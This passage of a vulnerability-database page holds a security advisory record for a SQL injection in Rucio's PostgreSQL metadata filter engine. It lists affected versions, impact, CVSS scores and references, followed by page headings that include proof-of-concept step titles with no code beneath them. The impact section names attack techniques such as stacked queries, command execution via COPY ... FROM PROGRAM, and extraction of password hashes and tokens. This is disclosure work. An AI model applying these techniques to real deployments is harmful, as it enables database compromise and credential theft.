        "36.5.0",
        "37.0.0",
        "37.0.0rc1",
        "37.0.0rc2",
        "37.0.0rc3",
        "37.0.0rc4",
        "37.1.0",
        "37.1.0.post1",
        "37.2.0",
        "37.3.0",
        "37.4.0",
        "37.5.0",
        "37.6.0",
        "37.7.0",
        "37.7.1",
        "38.0.0",
        "38.0.0rc1",
        "38.0.0rc2",
        "38.0.0rc3",
        "38.1.0",
        "38.2.0",
        "38.3.0",
        "38.4.0",
        "38.5.0",
        "38.5.1",
        "38.5.2",
        "38.5.3",
        "38.5.4",
        "39.0.0",
        "39.1.0",
        "39.2.0",
        "39.3.0",
        "39.3.1",
        "39.4.0",
        "39.4.1",
        "40.0.0",
        "40.1.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29090",
    "GHSA-6j7p-qjhg-9947"
  ],
  "details": "### Summary\n\nA SQL injection vulnerability in `FilterEngine.create_postgres_query` allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (`GET /dids/\u003cscope\u003e/dids/search`). When the external metadata plugin `postgres_meta` is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python `str.format`. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via `COPY ... FROM PROGRAM`.\n \n### Details\n\n*Will follow in two weeks (2025-05-19).*\n\n### Impact\n\n**Vulnerability type:** SQL Injection (CWE-89)\n\n**Who is impacted:**\n\n- Rucio deployments that have explicitly configured the `postgres_meta` metadata plugin.\n\n**What an attacker can do:**\n\n- **Data modification:** PostgreSQL stacked queries enable arbitrary `INSERT`/`UPDATE`/`DELETE` operations.\n- **Remote code execution:** Via PostgreSQL\u0027s `COPY ... FROM PROGRAM` if the database user has superuser or `pg_execute_server_program` privileges.\n- **File system access:** Via `COPY ... TO/FROM \u0027/path\u0027` if filesystem permissions allow.\n\n**Further elevation when the same postgres database and access is used for metadata and for Rucio itself**\n\n- **Full database read access:** Extract any table including `identities` (password hashes and salts), `tokens` (active authentication sessions), `accounts` (user enumeration), `rse_settings` (storage endpoint credentials), and `rules` (data management policies) could be extracted.\n - **Password hash extraction:** Combined with Rucio\u0027s use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.\n- **Authentication token theft:** Active bearer tokens can be extracted and used for immediate session hijacking.\n\n**Required attacker privileges:** Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The `GET /dids/\u003cscope\u003e/dids/search` endpoint is available to all authenticated users.",
  "id": "PYSEC-2026-527",
  "modified": "2026-07-02T12:46:49.308804Z",
  "published": "2026-06-29T11:50:49.082878Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rucio/rucio/security/advisories/GHSA-6j7p-qjhg-9947"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29090"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rucio/rucio"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/rucio"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6j7p-qjhg-9947"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-6J7P-QJHG-9947

Summary

Details

Why no existing defense blocks this

PoC

1. Obtain an authentication token

2. Value injection — boolean-based filter bypass

3. Key injection via query parameter name

4. UNION-based data extraction

5. Stacked queries — data modification

6. Remote code execution (if database user has superuser privileges)

7. Alternative entry via filters query parameter

Impact

CVE-2026-29090 (GCVE-0-2026-29090)

PYSEC-2026-527

Summary

Details

Impact

Tags

Sightings

Nomenclature

7. Alternative entry via `filters` query parameter